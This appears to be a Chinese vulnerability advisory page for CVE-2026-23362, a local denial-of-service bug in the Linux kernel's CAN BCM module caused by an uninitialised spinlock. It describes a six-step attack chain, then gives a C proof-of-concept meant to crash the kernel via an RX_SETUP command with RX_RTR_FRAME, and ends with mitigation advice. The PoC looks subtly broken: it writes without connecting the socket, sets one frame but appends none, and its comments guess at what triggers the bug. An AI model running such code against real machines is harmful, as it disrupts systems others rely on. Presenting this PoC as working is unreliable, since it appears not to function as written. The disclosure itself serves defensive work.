IPBUF安全漏洞报告
English
CVE-2026-23362 CVSS 5.5 中危

Linux内核CAN BCM模块拒绝服务漏洞 (CVE-2026-23362)

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23362
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务CAN总线竞态条件本地漏洞内核崩溃

漏洞概述

Linux内核的CAN(控制器局域网)BCM(广播管理器)组件中存在一个安全漏洞。该漏洞源于在处理带有RX_RTR_FRAME标志的RX_SETUP命令时,未对bcm_op结构体中的自旋锁进行初始化。虽然RX_SETUP通常仅处理接收流量,但在RTR(远程传输请求)场景下,它会调用发送函数bcm_can_tx(),该函数试图使用未初始化的自旋锁。本地低权限攻击者可利用此缺陷触发内核崩溃或死锁,从而导致系统拒绝服务。

技术细节

该漏洞位于net/can/bcm.c驱动文件中。此前提交c2aba69d0c36为bcm_tx_setup()中的变量添加了运行时更新锁(spin_lock),并在分配bcm_op时通过spin_lock_init()进行了初始化。然而,bcm_rx_setup()在分配bcm_op时遗漏了这一初始化步骤。

当用户设置RX_RTR_FRAME标志时,接收操作会使用bcm_can_tx()来发送预定义的CAN帧。bcm_can_tx()函数内部会调用spin_lock(&op->lock)以保护传输操作。由于bcm_rx_setup()未初始化该锁,当系统尝试获取该未初始化的锁时,会导致内核异常(如NULL指针引用或无效的锁操作),进而引发内核恐慌或系统挂起。攻击向量为本地(AV:L),无需用户交互(UI:N),仅需低权限(PR:L)即可触发。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限访问权限。
STEP 2
步骤2
攻击者创建一个PF_CAN协议族的BCM类型套接字。
STEP 3
步骤3
攻击者通过该套接字发送RX_SETUP指令,并特别设置RX_RTR_FRAME标志。
STEP 4
步骤4
内核在处理该指令时,在bcm_rx_setup()中分配bcm_op对象,但未初始化自旋锁。
STEP 5
步骤5
当触发RTR响应逻辑时,内核调用bcm_can_tx(),尝试获取未初始化的自旋锁。
STEP 6
步骤6
由于锁未初始化,系统发生内核崩溃或死机,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23362: Linux Kernel CAN BCM Missing Lock Initialization * This code attempts to trigger the crash by creating a BCM socket * and sending an RX_SETUP command with the RX_RTR_FRAME flag. * Compilation: gcc -o poc_cve_2026_23362 poc_cve_2026_23362.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/bcm.h> int main() { int s; struct sockaddr_can addr; struct bcm_msg_head msg; // Create a CAN BCM socket s = socket(AF_CAN, SOCK_DGRAM, CAN_BCM); if (s < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.can_family = AF_CAN; // 'can0' should be a valid CAN interface, but the crash happens during setup logic addr.can_ifindex = if_nametoindex("can0"); if (addr.can_ifindex == 0) { // If no physical CAN interface, loopback might be needed or vcan // For triggering the allocation bug, the index might matter less than the ioctl path printf("Interface not found, trying index 0 (any) or setup vcan first.\n"); // In many PoC scenarios for kernel bugs, just binding to the protocol is enough to trigger allocation paths } memset(&msg, 0, sizeof(msg)); msg.opcode = RX_SETUP; msg.flags = RX_RTR_FRAME; // The critical flag that triggers bcm_can_tx path msg.can_id = 0x123; msg.nframes = 1; // Send the malicious setup command if (write(s, &msg, sizeof(msg)) < 0) { perror("write"); close(s); return 1; } printf("Payload sent. If kernel is vulnerable, a crash may occur on RTR handling.\n"); // Keeping socket open to maintain bcm_op lifecycle pause(); close(s); return 0; }

影响范围

Linux Kernel (Mainline)
Linux Kernel (Stable branches prior to fix commits 0904037e713f, 70e951afad4c, etc.)

防御指南

临时缓解措施
如果无法立即升级内核,建议禁用CAN BCM内核模块(可以通过 modprobe -r can_bcm 或在启动配置中屏蔽),或者严格限制本地用户对socket资源的创建权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表